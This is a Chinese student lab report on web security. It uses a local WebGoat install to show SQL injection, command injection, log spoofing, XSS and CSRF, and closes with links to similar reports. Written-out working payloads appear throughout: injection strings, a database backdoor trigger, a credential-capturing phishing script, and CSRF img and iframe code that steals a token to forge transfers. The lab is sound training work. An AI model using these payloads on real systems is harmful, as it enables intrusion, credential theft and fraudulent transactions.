2018-2019-2 20165209 《网络对抗技术》Exp9: Web安全基础
2018-2019-2 20165209 《网络对抗技术》Exp9: Web安全基础
1 基础问题回答和实验内容
1.1基础问题回答
(1)SQL注入攻击原理,如何防御?
- 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
- 防御:
- 对用户的输入进行校验。
- 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
- 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
- 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
- 应用的异常信息应该给出尽可能少的提示。
- 采取辅助软件或网站平台来检测sql注入。
(2)XSS攻击的原理,如何防御?
- 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
- 防御:
- 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
- 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
- 实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
(3)CSRF攻击原理,如何防御?
- 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
- 防御:
- 在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
- “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
- 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
1.2 实验内容
Webgoat安装
Injection Flaws攻击
- Command Injection
- Numeric SQL Injection
- Log Spoofing
- String SQL Injection
- Database Backdoors
- Blind Numeric SQL Injection
- Blind String SQL Injection
XSS攻击——Cross-Site Scripting
- Phishing with XSS
- Stored XSS Attacks
- Reflected XSS Attacks
CSRF攻击
- Cross Site Request Forgery(CSRF)
- CSRF Prompt By-Pass
- CSRF Token By-Pass
2 实验步骤
2.1 Webgoat安装
输入
java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,在实验过程中不要关闭。在浏览器中输入
http://localhost:8080/WebGoat进入WebGoat登录界面输入用户名密码
guest登录注:由于我登陆之后没有显示左侧的内容,经过看别人的博客得知,因为kali里安装的JDK版本太高原因导致的。将原来的jdk卸载并重新安装jdk1.8,参考kali安装java1.8
官网上了Linux 64 版JDK1.8下载不下来,在这里上传了一个可以使用的1.8版JDK 链接 提取码:uznk
安装成功之后登录成功。

2.2 Injection Flaws攻击
2.2.1 Command Injection
- 选择 Injection Flaws -> Command Injection
右键页面中复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig" - 点击 view,看到网络端口使用情况和 IP 地址,攻击成功

2.2.2 Numeric SQL Injection
- 选择 Injection Flaws -> Numeric SQL Injection
右键页面中复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1 - 点击 Go,可以看到攻击成功

2.2.3 Log Spoofing
- 选择 Injection Flaws -> Log Spoofing
- 在User Name中输入
csb%0d%0aLogin Succeeded for username: admin利用0D%(回车)和%0A(换行)让其在日志中显示两行 - 输入任意密码后点击 Login,成功将用户名追加到日志文件中。

2.2.4 String SQL Injection
- 选择 Injection Flaws -> String SQL Injection,右键页面将password密码框,选择inspect Element审查网页元素对源代码进行修改,将其最大长度限制改为20

- 以用户Neville登录,输入密码
Smith' or '1' = '1 - 攻击成功,得到所有人员列表

2.2.5 Database Backdoors
- 选择 Injection Flaws -> Database Backdoors
- 输入
101,得到该用户的信息

- 输入注入语句
101; update employee set salary=10000

- 输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid设置触发器

2.2.6 Blind Numeric SQL Injection
- 服务端页面返回的信息有两种:帐号有效,账号无效,因此无法简单地查询到帐号的 PIN 数值。但可以利用系统后台在用的查询语句
SELECT * FROM user_data WHERE userid=accountNumber;
如果返回了帐号的信息,页面将提示帐号有效,否则提示无效。 - 输入
101 AND 1=1页面返回帐号有效

输入
101 AND 1=2第二个条件不成立,页面返回帐号无效输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );页面返回帐号无效,说明PIN<=10000

- 进过多次测试,输入
2364为正确PIN值

2.2.7 Blind String SQL Injection
- 这次查询的字段是一个字符串而不是数值
- 输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );取得 pin 字段数值的第一个字母,判断其是否比字 母“H”小 - 经过多次测试和页面的返回数据,最终判断出PIN字段的值为
Jill

2.3 XSS攻击——Cross-Site Scripting
2.3.1Phishing with XSS
使用XSS和HTML写一个简单的带form的网站,要求填写用户名和密码。
编写一个带用户名和密码输入框的表格
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
将两段代码合并后,在 XSS - > Phishing with XSS搜索上面代码,在显示的表单中输入用户名和密码,登录后WebGoat会将输入的信息捕获并反馈给我们。

2.3.2 Stored XSS Attacks
- 常见于论坛等留言,用户留言创建非法的消息内容,输入一段JavaScript脚本,其被保存在数据库中,任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行,可以导致其他用户访问非预期的页面或内容。
- 在XSS - > Stored XSS Attacks页面的title中输入任意字符a,留言板中输入
<script>alert("You've been ttacked!!!");</script> - 点击下面的a字符,攻击成功。

2.3.3 Reflected XSS Attacks
- XSS反射型攻击,恶意代码并没有保存在目标网站,通过使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件,引诱用户点击,实施攻击。
- 在XSS - > Reflected XSS Attacks页面中输入
<script>alert("You've been attacked!!!");</script>点击 purse ,页面显示攻击成功。

2.4 CSRF攻击
2.4.1 Cross Site Request Forgery(CSRF)
- 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
- 在 XSS - > Cross Site Request Forgery(CSRF)
页面,查看右下方 Parameters 中的 src 和 menu 值,分别为320和900。 - 在Message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=320&menu=900&transferFunds=5000" width="1" height="1" />点击 Submit (其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片) - 输入任意Title,提交后在Message List中生成以Title命名的链接。点击链接,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2.4.2 CSRF Prompt By-Pass
在 XSS - > CSRF Prompt By-Pass 页面,查看右下方的Parameters中的src和menu值,我的分别为279和900。
输入任意的Title,在message中输入
<iframe src="attack?Screen=279&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=279&menu=900&transferFunds=CONFIRM"> </iframe>
点击 Submit 生成以Title命名的链接,点击链接,攻击成功
2.4.3 CSRF Token By-Pass
向包含恶意转账请求的新闻组发送电子邮件。要成功完成,需要获取有效的请求令牌。显示转账表单的页面包含有效的请求令牌。转账页面的URL是“攻击”servlet,带有本课的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds=main”。加载此页面,读取令牌并将令牌附加到伪造的请求中,以转移资金。
在XSS - >CSRF Token By-Pass
页面查看网页http://local host:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=main生成的资金转账页面的表单内容。结合token的值构造伪造的URL,附加转账参数4000,通过frame->forme的路径可以读取并保存CSRFToken参数。
<script>
var readToken = function(){
var doc = document.getElementById("frame1").contentDocument
var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
alert(token);
var frame2 = document.getElementById("frame2");
frame2.src = "http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=4000&CSRFToken="+token;
}
</script>
<iframe id="frame2" >
</iframe>
<iframe id="frame1" onload="readToken()" src="http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=main" >
</iframe>
输入任意的Title,在message中输入上面的代码,点击 Submit 生成以Title命名的链接,点击链接,攻击成功。
实验总结与体会
这个实验过程还是很容易的,但是要理解还是需要时间的。这是最后一个实验了,还是很开心的。在实验过程中不仅体会了攻击技术的强大,也对网络安全有了新的认识。
2018-2019-2 20165209 《网络对抗技术》Exp9: Web安全基础的更多相关文章
- 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践
20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...
- 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础
2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...
- 20155208徐子涵《网络对抗》Exp9 Web安全基础
20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- #20155232《网络对抗》Exp9 Web安全基础
20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...
- 20155302《网络对抗》Exp9 Web安全基础
20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...
- 20155308《网络对抗》Exp9 Web安全基础实践
20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...
- 20155323刘威良《网络对抗》Exp9 Web安全基础
20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...
- 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践
20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
随机推荐
- 【已解决】bootstrap table 参数后台获取不到
查看请求,可以看到有部分字段是可以的. 改成以下这种即可,原因是由于字段为null,没把错误抛出来,为null的字段就不会放到请求的参数中.
- Vue路由的使用和route-link router-view样式和动画的设置
什么是路由 后端路由:**对于普通的网站,所有的超链接都是URL地址,所有的URL地址都对应服务器上对应的资源: 前端路由:**对于单页面应用程序来说,主要通过URL中的hash(#号)来实现不同页面 ...
- TCP/IP三次挥手,四次断开(精简)
很多协议都是基于TCP/IP协议的基础之上进行工作的,可能我们了解这些原理近期看来并无实际作用,因为它不像如一些web服务器配置一样,配置了我就可以使用,就可以提供服务. 但是从我们长远发展角度来看, ...
- 定制centos6.5自动安装ISO光盘
一 ISO定制项清单 安装系统为centos6.5 (base server),安装方式为全新安装 使用ext4分区格式 安装前可以交互输入root密码,主机名,swap分区大小,之后安装过程自动化 ...
- tomcat部署(一)
Tomcat部署最佳实践 标签: linux 笔者Q:972581034 交流群:605799367.有任何疑问可与笔者或加群交流 tomcat是玩web软件必会技能之一,今天我给大家介绍一下tomc ...
- mr-robot靶机练习
在业余时间进行的靶机练习,也是根据网上的大牛做下来的,重复造轮子吧,但是个人感觉还是即使是造轮子也是需要自己动手呀,毕竟每个人做的过程中遇到的问题是不一样的,这样既可以帮助别人也能锻炼自己.希望可以帮 ...
- CISCO设备配置SSH 登陆
1. 设置设备域名CISCO ip domain name CISCO2.创建密钥Server(config)#crypto key generate rsa The name for the key ...
- TCP/IP结构图
IP: TCP: UDP:
- ubuntu---记录.重装电脑之设置电脑信息
(1)设置网络(2)安装一个中文输入法(3)CUDA+驱动+cuDNN+添加到系统环境中(4)禁止内核更新(5)安装好opencv之后,查看安装的版本(6)查看自带的python版本(7)设置系统里p ...
- DT6.0二次最后一次开发插件-手机端熊掌号定时提交
今天写完这个,就是DT6.0最后开放的插件,因为群里的朋友需要,就写了一个适合DT6的手机端定时插件.不过个人还是喜欢7.0的版本,7.0的插件在上几期分享了,今天就不过多说了! 我这个是初成品,改善 ...